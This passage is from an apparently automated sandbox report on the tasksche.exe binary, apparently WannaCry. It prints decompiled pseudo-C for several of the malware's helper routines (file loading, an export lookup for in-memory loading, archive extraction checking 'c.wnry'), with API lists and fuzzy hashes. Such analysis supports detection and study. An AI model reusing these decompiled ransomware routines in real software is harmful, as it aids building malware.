                                                                                                                                                                0x00403ad8
                                                                                                                                                                0x00403b25
                                                                                                                                                                0x00403b25
                                                                                                                                                                0x00403abc

                                                                                                                                                                APIs
                                                                                                                                                                • ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570,?,?,?,?,?,00000001), ref: 00403A91
                                                                                                                                                                • _CxxThrowException.MSVCRT ref: 00403AA0
                                                                                                                                                                • memcpy.MSVCRT(?,?,?,?,?,?,?,?), ref: 00403B00
                                                                                                                                                                • memcpy.MSVCRT(?,?,?,?,?,?,?,?), ref: 00403B68
                                                                                                                                                                • ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F574,?,?,?,?,?,00000001), ref: 00403BC2
                                                                                                                                                                • _CxxThrowException.MSVCRT ref: 00403BD1
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ??0exception@@ExceptionThrowmemcpy
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2382887404-0
                                                                                                                                                                • Opcode ID: 8f0cb0103d3614fdc28d84a5f541c19cbd02f6e6265a1098423f4cf3f0921468
                                                                                                                                                                • Instruction ID: 9805a50700f74263afb1320d00d27f30e93ca80038ec105a2d2f515762341bf2
                                                                                                                                                                • Opcode Fuzzy Hash: 8f0cb0103d3614fdc28d84a5f541c19cbd02f6e6265a1098423f4cf3f0921468
                                                                                                                                                                • Instruction Fuzzy Hash: 8541C870B40206ABDB14DE65DD81D9B77BEEB84309B00443FF815B3281D778AB15C759
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00401000 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 38fileCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                APIs
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: fclosefopenfreadfwrite
                                                                                                                                                                • String ID: c.wnry
                                                                                                                                                                • API String ID: 4000964834-3240288721
                                                                                                                                                                • Opcode ID: 83356dae967f3845aa64eafaf8b7e6f79fd4dc7784855bee587f11601882f661
                                                                                                                                                                • Instruction ID: 4fc4ee2583eead98f325da0eb4a8e2a7a7827d82b7f69226d67b1691b23a23d5
                                                                                                                                                                • Opcode Fuzzy Hash: 83356dae967f3845aa64eafaf8b7e6f79fd4dc7784855bee587f11601882f661
                                                                                                                                                                • Instruction Fuzzy Hash: 0CF05931204260ABCA301F656D4AA277B10DBC4F61F10083FF1C1F40E2CABD44C296BE
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 004018F9 Relevance: 7.6, APIs: 5, Instructions: 79filememoryCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 24%
                                                                                                                                                                			E004018F9(intOrPtr _a4, intOrPtr _a8, CHAR* _a12) {
				struct _OVERLAPPED* _v8;
				char _v20;
				long _v32;
				struct _OVERLAPPED* _v36;
				long _v40;
				signed int _v44;
				void* _t18;
				void* _t28;
				long _t34;
				intOrPtr _t38;

				_push(0xffffffff);
				_push(0x4081f0);
				_push(0x4076f4);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t38;
				_v44 = _v44 | 0xffffffff;
				_v32 = 0;
				_v36 = 0;
				_v8 = 0;
				_t18 = CreateFileA(_a12, 0x80000000, 1, 0, 3, 0, 0);
				_v44 = _t18;
				if(_t18 != 0xffffffff) {
					_t34 = GetFileSize(_t18, 0);
					_v40 = _t34;
					if(_t34 != 0xffffffff && _t34 <= 0x19000) {
						_t28 = GlobalAlloc(0, _t34);
						_v36 = _t28;
						if(_t28 != 0 && ReadFile(_v44, _t28, _t34,  &_v32, 0) != 0) {
							_push(_a8);
							_push(0);
							_push(0);
							_push(_v32);
							_push(_t28);
							_push(_a4);
							if( *0x40f898() != 0) {
								_push(1);
								_pop(0);
							}
						}
					}
				}
				_push(0xffffffff);
				_push( &_v20);
				L004076FA();
				 *[fs:0x0] = _v20;
				return 0;
			}













                                                                                                                                                                0x004018fc
                                                                                                                                                                0x004018fe
                                                                                                                                                                0x00401903
                                                                                                                                                                0x0040190e
                                                                                                                                                                0x0040190f
                                                                                                                                                                0x0040191c
                                                                                                                                                                0x00401922
                                                                                                                                                                0x00401925
                                                                                                                                                                0x00401928
                                                                                                                                                                0x0040193a
                                                                                                                                                                0x00401940
                                                                                                                                                                0x00401946
                                                                                                                                                                0x00401950
                                                                                                                                                                0x00401952
                                                                                                                                                                0x00401958
                                                                                                                                                                0x0040196a
                                                                                                                                                                0x0040196c
                                                                                                                                                                0x00401971
                                                                                                                                                                0x00401987
                                                                                                                                                                0x0040198a
                                                                                                                                                                0x0040198b
                                                                                                                                                                0x0040198c
                                                                                                                                                                0x0040198f
                                                                                                                                                                0x00401990
                                                                                                                                                                0x0040199b
                                                                                                                                                                0x0040199d
                                                                                                                                                                0x0040199f
                                                                                                                                                                0x0040199f
                                                                                                                                                                0x0040199b
                                                                                                                                                                0x00401971
                                                                                                                                                                0x00401958
                                                                                                                                                                0x004019a0
                                                                                                                                                                0x004019a5
                                                                                                                                                                0x004019a6
                                                                                                                                                                0x004019d5
                                                                                                                                                                0x004019e0

                                                                                                                                                                APIs
                                                                                                                                                                • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,00401448,?), ref: 0040193A
                                                                                                                                                                • GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?,?,00401448,?), ref: 0040194A
                                                                                                                                                                • GlobalAlloc.KERNEL32(00000000,00000000,?,?,?,?,?,?,00401448,?), ref: 00401964
                                                                                                                                                                • ReadFile.KERNEL32(000000FF,00000000,00000000,?,00000000,?,?,?,?,?,?,00401448,?), ref: 0040197D
                                                                                                                                                                • _local_unwind2.MSVCRT(?,000000FF,?,?,?,?,?,?,00401448,?), ref: 004019A6
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: File$AllocCreateGlobalReadSize_local_unwind2
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 2811923685-0
                                                                                                                                                                • Opcode ID: 232dc3714e51fefb2f6fb0f5b065eea7eb2b0009f41f45388587d49ab84ddf28
                                                                                                                                                                • Instruction ID: fb063a64e2dc49fc25d010f75d45645ced701e765f932c996de96a45c5b9f027
                                                                                                                                                                • Opcode Fuzzy Hash: 232dc3714e51fefb2f6fb0f5b065eea7eb2b0009f41f45388587d49ab84ddf28
                                                                                                                                                                • Instruction Fuzzy Hash: B62160B1901624AFCB209B99CD48FDF7E78EB097B0F54022AF525B22E0D7785805C6AC
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00405BAE Relevance: 6.1, APIs: 4, Instructions: 93fileCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 97%
                                                                                                                                                                			E00405BAE(CHAR* _a4, intOrPtr _a8, long _a12, void* _a16) {
				char _v5;
				char _v6;
				long _t30;
				char _t32;
				long _t34;
				void* _t46;
				intOrPtr* _t49;
				long _t50;

				_t30 = _a12;
				if(_t30 == 1 || _t30 == 2 || _t30 == 3) {
					_t49 = _a16;
					_t46 = 0;
					_v6 = 0;
					 *_t49 = 0;
					_v5 = 0;
					if(_t30 == 1) {
						_t46 = _a4;
						_v5 = 0;
						L11:
						_t30 = SetFilePointer(_t46, 0, 0, 1);
						_v6 = _t30 != 0xffffffff;
						L12:
						_push(0x20);
						L00407700();
						_t50 = _t30;
						if(_a12 == 1 || _a12 == 2) {
							 *_t50 = 1;
							 *((char*)(_t50 + 0x10)) = _v5;
							_t32 = _v6;
							 *((char*)(_t50 + 1)) = _t32;
							 *(_t50 + 4) = _t46;
							 *((char*)(_t50 + 8)) = 0;
							 *((intOrPtr*)(_t50 + 0xc)) = 0;
							if(_t32 != 0) {
								 *((intOrPtr*)(_t50 + 0xc)) = SetFilePointer(_t46, 0, 0, 1);
							}
						} else {
							 *_t50 = 0;
							 *((intOrPtr*)(_t50 + 0x14)) = _a4;
							 *((char*)(_t50 + 1)) = 1;
							 *((char*)(_t50 + 0x10)) = 0;
							 *((intOrPtr*)(_t50 + 0x18)) = _a8;
							 *((intOrPtr*)(_t50 + 0x1c)) = 0;
							 *((intOrPtr*)(_t50 + 0xc)) = 0;
						}
						 *_a16 = 0;
						_t34 = _t50;
						goto L18;
					}
					if(_t30 != 2) {
						goto L12;
					}
					_t46 = CreateFileA(_a4, 0x80000000, 1, 0, 3, 0x80, 0);
					if(_t46 != 0xffffffff) {
						_v5 = 1;
						goto L11;
					}
					 *_t49 = 0x200;
					goto L8;
				} else {
					 *_a16 = 0x10000;
					L8:
					_t34 = 0;
					L18:
					return _t34;
				}
			}











                                                                                                                                                                0x00405bb2
                                                                                                                                                                0x00405bbb
                                                                                                                                                                0x00405bd2
                                                                                                                                                                0x00405bd7
                                                                                                                                                                0x00405bdc
                                                                                                                                                                0x00405bdf
                                                                                                                                                                0x00405be1
                                                                                                                                                                0x00405be4
                                                                                                                                                                0x00405c18
                                                                                                                                                                0x00405c1b
                                                                                                                                                                0x00405c24
                                                                                                                                                                0x00405c29
                                                                                                                                                                0x00405c32
                                                                                                                                                                0x00405c36
                                                                                                                                                                0x00405c36
                                                                                                                                                                0x00405c38
                                                                                                                                                                0x00405c42
                                                                                                                                                                0x00405c44
                                                                                                                                                                0x00405c6c
                                                                                                                                                                0x00405c6f
                                                                                                                                                                0x00405c72
                                                                                                                                                                0x00405c77
                                                                                                                                                                0x00405c7a
                                                                                                                                                                0x00405c7d
                                                                                                                                                                0x00405c80
                                                                                                                                                                0x00405c83
                                                                                                                                                                0x00405c90
                                                                                                                                                                0x00405c90
                                                                                                                                                                0x00405c4c
                                                                                                                                                                0x00405c4f
                                                                                                                                                                0x00405c51
                                                                                                                                                                0x00405c57
                                                                                                                                                                0x00405c5b
                                                                                                                                                                0x00405c5e
                                                                                                                                                                0x00405c61
                                                                                                                                                                0x00405c64
                                                                                                                                                                0x00405c64
                                                                                                                                                                0x00405c96
                                                                                                                                                                0x00405c98
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00405c98
                                                                                                                                                                0x00405be9
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00405c04
                                                                                                                                                                0x00405c09
                                                                                                                                                                0x00405c20
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00405c20
                                                                                                                                                                0x00405c0b
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00405bc7
                                                                                                                                                                0x00405bca
                                                                                                                                                                0x00405c11
                                                                                                                                                                0x00405c11
                                                                                                                                                                0x00405c9a
                                                                                                                                                                0x00405c9e
                                                                                                                                                                0x00405c9e

                                                                                                                                                                APIs
                                                                                                                                                                • CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,?,00000000,00000000,00000140,?,00406C12,00000000,00401DFE,00000001), ref: 00405BFE
                                                                                                                                                                • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,?,00000000,00000000,00000140,?,00406C12,00000000,00401DFE,00000001,00000000,004074EA,00000000), ref: 00405C29
                                                                                                                                                                • ??2@YAPAXI@Z.MSVCRT(00000020,?,?,00000000,00000000,00000140,?,00406C12,00000000,00401DFE,00000001,00000000,004074EA,00000000,004020D5,?), ref: 00405C38
                                                                                                                                                                • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,?,?,00000000,00000000,00000140,?,00406C12,00000000,00401DFE,00000001,00000000,004074EA), ref: 00405C8A
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: File$Pointer$??2@Create
                                                                                                                                                                • String ID:
                                                                                                                                                                • API String ID: 1331958074-0
                                                                                                                                                                • Opcode ID: ff1e72f22e15843ade9ace39703012fff21b8a1e8b9c48cc3c9963cb15211f94
                                                                                                                                                                • Instruction ID: 771dcc1d5a31089dd4cc2aab62cbbe5a226dda330bf0289da8f54b52fc8588cb
                                                                                                                                                                • Opcode Fuzzy Hash: ff1e72f22e15843ade9ace39703012fff21b8a1e8b9c48cc3c9963cb15211f94
                                                                                                                                                                • Instruction Fuzzy Hash: 0831F231008784AFDB318F28888479BBBF4EF15350F18896EF491A7380C375AD85CB69
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00402924 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 37%
                                                                                                                                                                			E00402924(intOrPtr* _a4, char _a8) {
				intOrPtr _v8;
				intOrPtr* _t26;
				intOrPtr* _t28;
				void* _t29;
				intOrPtr _t30;
				void* _t32;
				signed int _t33;
				signed int _t37;
				signed short* _t41;
				intOrPtr _t44;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				void* _t59;

				_t26 = _a4;
				_t44 =  *((intOrPtr*)(_t26 + 4));
				_t28 =  *_t26 + 0x78;
				_v8 = _t44;
				if( *((intOrPtr*)(_t28 + 4)) == 0) {
					L11:
					SetLastError(0x7f);
					_t29 = 0;
				} else {
					_t58 =  *_t28;
					_t30 =  *((intOrPtr*)(_t58 + _t44 + 0x18));
					_t59 = _t58 + _t44;
					if(_t30 == 0 ||  *((intOrPtr*)(_t59 + 0x14)) == 0) {
						goto L11;
					} else {
						_t8 =  &_a8; // 0x402150
						if( *_t8 >> 0x10 != 0) {
							_t55 =  *((intOrPtr*)(_t59 + 0x20)) + _t44;
							_t41 =  *((intOrPtr*)(_t59 + 0x24)) + _t44;
							_a4 = 0;
							if(_t30 <= 0) {
								goto L11;
							} else {
								while(1) {
									_t32 =  *_t55 + _t44;
									_t15 =  &_a8; // 0x402150
									__imp___stricmp( *_t15, _t32);
									if(_t32 == 0) {
										break;
									}
									_a4 = _a4 + 1;
									_t55 = _t55 + 4;
									_t41 =  &(_t41[1]);
									if(_a4 <  *((intOrPtr*)(_t59 + 0x18))) {
										_t44 = _v8;
										continue;
									} else {
										goto L11;
									}
									goto L12;
								}
								_t33 =  *_t41 & 0x0000ffff;
								_t44 = _v8;
								goto L14;
							}
						} else {
							_t9 =  &_a8; // 0x402150
							_t37 =  *_t9 & 0x0000ffff;
							_t49 =  *((intOrPtr*)(_t59 + 0x10));
							if(_t37 < _t49) {
								goto L11;
							} else {
								_t33 = _t37 - _t49;
								L14:
								if(_t33 >  *((intOrPtr*)(_t59 + 0x14))) {
									goto L11;
								} else {
									_t29 =  *((intOrPtr*)( *((intOrPtr*)(_t59 + 0x1c)) + _t33 * 4 + _t44)) + _t44;
								}
							}
						}
					}
				}
				L12:
				return _t29;
			}

















                                                                                                                                                                0x00402928
                                                                                                                                                                0x0040292f
                                                                                                                                                                0x00402934
                                                                                                                                                                0x00402938
                                                                                                                                                                0x0040293e
                                                                                                                                                                0x004029a5
                                                                                                                                                                0x004029a7
                                                                                                                                                                0x004029ad
                                                                                                                                                                0x00402940
                                                                                                                                                                0x00402940
                                                                                                                                                                0x00402942
                                                                                                                                                                0x00402946
                                                                                                                                                                0x0040294a
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402951
                                                                                                                                                                0x00402951
                                                                                                                                                                0x0040295a
                                                                                                                                                                0x00402971
                                                                                                                                                                0x00402973
                                                                                                                                                                0x00402977
                                                                                                                                                                0x0040297a
                                                                                                                                                                0x00000000
                                                                                                                                                                0x0040297c
                                                                                                                                                                0x00402981
                                                                                                                                                                0x00402983
                                                                                                                                                                0x00402986
                                                                                                                                                                0x00402989
                                                                                                                                                                0x00402993
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402995
                                                                                                                                                                0x00402998
                                                                                                                                                                0x0040299f
                                                                                                                                                                0x004029a3
                                                                                                                                                                0x0040297e
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004029a3
                                                                                                                                                                0x004029b4
                                                                                                                                                                0x004029b7
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004029b7
                                                                                                                                                                0x0040295c
                                                                                                                                                                0x0040295c
                                                                                                                                                                0x0040295c
                                                                                                                                                                0x00402960
                                                                                                                                                                0x00402965
                                                                                                                                                                0x00000000
                                                                                                                                                                0x00402967
                                                                                                                                                                0x00402967
                                                                                                                                                                0x004029ba
                                                                                                                                                                0x004029bd
                                                                                                                                                                0x00000000
                                                                                                                                                                0x004029bf
                                                                                                                                                                0x004029c8
                                                                                                                                                                0x004029c8
                                                                                                                                                                0x004029bd
                                                                                                                                                                0x00402965
                                                                                                                                                                0x0040295a
                                                                                                                                                                0x0040294a
                                                                                                                                                                0x004029af
                                                                                                                                                                0x004029b3

                                                                                                                                                                APIs
                                                                                                                                                                • _stricmp.MSVCRT(P!@,?,?,0000DDB6,?,?,?,00402150,00000000,TaskStart), ref: 00402989
                                                                                                                                                                • SetLastError.KERNEL32(0000007F,?,0000DDB6,?,?,?,00402150,00000000,TaskStart), ref: 004029A7
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ErrorLast_stricmp
                                                                                                                                                                • String ID: P!@
                                                                                                                                                                • API String ID: 1278613211-1774101457
                                                                                                                                                                • Opcode ID: 03c3627be8870cecb91afdd38bef801573c0f783d9791e09bb9b18ce57a97af9
                                                                                                                                                                • Instruction ID: aaf1e2d36ba78ebe43aa6e6aad127835d86855a49192f4e92224227a9dbc2408
                                                                                                                                                                • Opcode Fuzzy Hash: 03c3627be8870cecb91afdd38bef801573c0f783d9791e09bb9b18ce57a97af9
                                                                                                                                                                • Instruction Fuzzy Hash: 432180B1700605EFDB14CF19DA8486A73F6EF89310B29857AE846EB381D678ED41CB85
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00401DFE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59stringCOMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 89%
                                                                                                                                                                			E00401DFE(void* __eax) {
				int _t21;
				signed int _t27;
				signed int _t29;
				void* _t34;
				void* _t36;
				void* _t38;
				void* _t40;
				void* _t41;
				void* _t43;

				_t36 = __eax;
				_t41 = _t40 + 0xc;
				if(__eax != 0) {
					 *(_t38 - 0x12c) =  *(_t38 - 0x12c) & 0x00000000;
					_t29 = 0x4a;
					memset(_t38 - 0x128, 0, _t29 << 2);
					E004075C4(_t36, 0xffffffff, _t38 - 0x12c);
					_t27 =  *(_t38 - 0x12c);
					_t43 = _t41 + 0x18;
					_t34 = 0;
					if(_t27 > 0) {
						do {
							E004075C4(_t36, _t34, _t38 - 0x12c);
							_t21 = strcmp(_t38 - 0x128, "c.wnry");
							_t43 = _t43 + 0x14;
							if(_t21 != 0 || GetFileAttributesA(_t38 - 0x128) == 0xffffffff) {
								E0040763D(_t36, _t34, _t38 - 0x128);
								_t43 = _t43 + 0xc;
							}
							_t34 = _t34 + 1;
						} while (_t34 < _t27);
					}
					E00407656(_t36);
					_push(1);
					_pop(0);
				} else {
				}
				return 0;
			}












                                                                                                                                                                0x00401dfe
                                                                                                                                                                0x00401e00
                                                                                                                                                                0x00401e05
                                                                                                                                                                0x00401e0e
                                                                                                                                                                0x00401e1a
                                                                                                                                                                0x00401e21
                                                                                                                                                                0x00401e2d
                                                                                                                                                                0x00401e32
                                                                                                                                                                0x00401e38
                                                                                                                                                                0x00401e3b
                                                                                                                                                                0x00401e3f
                                                                                                                                                                0x00401e41
                                                                                                                                                                0x00401e4a
                                                                                                                                                                0x00401e5b
                                                                                                                                                                0x00401e60
                                                                                                                                                                0x00401e65
                                                                                                                                                                0x00401e82
                                                                                                                                                                0x00401e87
                                                                                                                                                                0x00401e87
                                                                                                                                                                0x00401e8a
                                                                                                                                                                0x00401e8b
                                                                                                                                                                0x00401e41
                                                                                                                                                                0x00401e90
                                                                                                                                                                0x00401e96
                                                                                                                                                                0x00401e98
                                                                                                                                                                0x00401e07
                                                                                                                                                                0x00401e07
                                                                                                                                                                0x00401e9d

                                                                                                                                                                APIs
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: AttributesFilestrcmp
                                                                                                                                                                • String ID: c.wnry
                                                                                                                                                                • API String ID: 3324900478-3240288721
                                                                                                                                                                • Opcode ID: cc95b26050e750b8ddedfaa82b6fbbed5bde767aecf08ad1744914d0cf1c8067
                                                                                                                                                                • Instruction ID: 6f95607eaad4b3b0c5796a2914108af7bfa48759f01996e65d2c9759274caab0
                                                                                                                                                                • Opcode Fuzzy Hash: cc95b26050e750b8ddedfaa82b6fbbed5bde767aecf08ad1744914d0cf1c8067
                                                                                                                                                                • Instruction Fuzzy Hash: 3001C872D041142ADB209625DC41FEF336C9B45374F1005B7FA44F11C1E739AA998ADA
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 00405C9F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 84%
                                                                                                                                                                			E00405C9F(signed int __eax, intOrPtr _a4) {
				intOrPtr _t9;

				_t9 = _a4;
				if(_t9 != 0) {
					if( *((char*)(_t9 + 0x10)) != 0) {
						CloseHandle( *(_t9 + 4));
					}
					_push(_t9);
					L004076E8();
					return 0;
				} else {
					return __eax | 0xffffffff;
				}
			}




                                                                                                                                                                0x00405ca0
                                                                                                                                                                0x00405ca6
                                                                                                                                                                0x00405cb1
                                                                                                                                                                0x00405cb6
                                                                                                                                                                0x00405cb6
                                                                                                                                                                0x00405cbc
                                                                                                                                                                0x00405cbd
                                                                                                                                                                0x00405cc6
                                                                                                                                                                0x00405ca8
                                                                                                                                                                0x00405cac
                                                                                                                                                                0x00405cac

                                                                                                                                                                APIs
                                                                                                                                                                • CloseHandle.KERNEL32(?,$l@,00406118,$l@,?,00000000,00000000), ref: 00405CB6
                                                                                                                                                                • ??3@YAXPAX@Z.MSVCRT(00000000,$l@,00406118,$l@,?,00000000,00000000), ref: 00405CBD
                                                                                                                                                                Strings
                                                                                                                                                                Memory Dump Source
                                                                                                                                                                • Source File: 0000001C.00000002.376540609.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                • Associated: 0000001C.00000002.376521721.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376578380.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376601170.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                • Associated: 0000001C.00000002.376619681.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                • Snapshot File: hcaresult_28_2_400000_tasksche.jbxd
                                                                                                                                                                Yara matches
                                                                                                                                                                Similarity
                                                                                                                                                                • API ID: ??3@CloseHandle
                                                                                                                                                                • String ID: $l@
                                                                                                                                                                • API String ID: 3816424416-2140230165
                                                                                                                                                                • Opcode ID: 95d67fc171dea6c803f2538cd8e9bf2129e8d776d8110548eb6437a9e23f5d7b
                                                                                                                                                                • Instruction ID: 673c02d0cae411eac5e44946f87937de45fd09569792d44698d585129e0307c2
                                                                                                                                                                • Opcode Fuzzy Hash: 95d67fc171dea6c803f2538cd8e9bf2129e8d776d8110548eb6437a9e23f5d7b
                                                                                                                                                                • Instruction Fuzzy Hash: 47D05E3280DE211BE7226A28B90469B2B949F01330F054A6EE4A1A25E2D7789C8596CC
                                                                                                                                                                Uniqueness

                                                                                                                                                                Uniqueness Score: -1.00%

                                                                                                                                                                Function 004019E1 Relevance: 5.0, APIs: 4, Instructions: 39COMMON
                                                                                                                                                                Download Yara Rule
                                                                                                                                                                C-Code - Quality: 25%
                                                                                                                                                                			E004019E1(void* __ecx, void* _a4, int _a8, void* _a12, int* _a16) {
				void* _t13;
				void* _t16;
				struct _CRITICAL_SECTION* _t19;
				void* _t20;

				_t20 = __ecx;
				if( *((intOrPtr*)(__ecx + 8)) == 0) {
					L3:
					return 0;
				}
				_t19 = __ecx + 0x10;
				EnterCriticalSection(_t19);
				_t13 =  *0x40f8a4( *((intOrPtr*)(_t20 + 8)), 0, 1, 0, _a4,  &_a8);
				_push(_t19);
				if(_t13 != 0) {
					LeaveCriticalSection();
					memcpy(_a12, _a4, _a8);
					 *_a16 = _a8;
					_t16 = 1;
					return _t16;
				}
				LeaveCriticalSection();
				goto L3;
			}







                                                                                                                                                                0x004019e5
                                                                                                                                                                0x004019ec
                                                                                                                                                                0x00401a19
                                                                                                                                                                0x00000000
